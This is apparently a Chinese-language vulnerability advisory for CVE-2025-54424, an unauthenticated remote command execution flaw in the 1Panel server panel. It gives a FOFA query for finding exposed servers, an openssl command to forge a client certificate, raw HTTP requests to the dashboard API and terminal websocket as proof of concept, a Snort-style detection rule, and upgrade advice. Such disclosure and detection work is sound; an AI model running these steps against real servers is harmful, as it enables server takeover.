1Panel-CVE-2025-54424-远程命令执行¶

1Panel-CVE-2025-54424-远程命令执行，攻击者可执行任意命令导致服务器被控。

影响版本¶

1Panel

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"

POC/EXP：

首先生成伪造证书
openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
导入证书后尝试http连接测试

POC/EXP：

GET /api/v2/dashboard/base/os HTTP/2
Host: 127.0.0.1
User-Agent: 1panel_client
Origin: https:///
Accept: application/json

POC/EXP：构造ss5连接

GET /api/v2/hosts/terminal HTTP/1.1
Host: 127.0.0.1
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"1Panel - Unauthenticated RCE via Dashboard API (CVE-2025-54424)";
    flow:to_server,established;
    http.method; content:"GET";
    http.uri; content:"/api/v2/dashboard/base/os";
    http.header; content:"User-Agent: 1panel_client";
    http.header; content:"Origin: https:///";
    metadata:cve CVE-2025-54424;
    metadata:affected_product "1Panel Server Management";
    classtype:web-application-attack;
    sid:1000417;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限

升级至安全版本。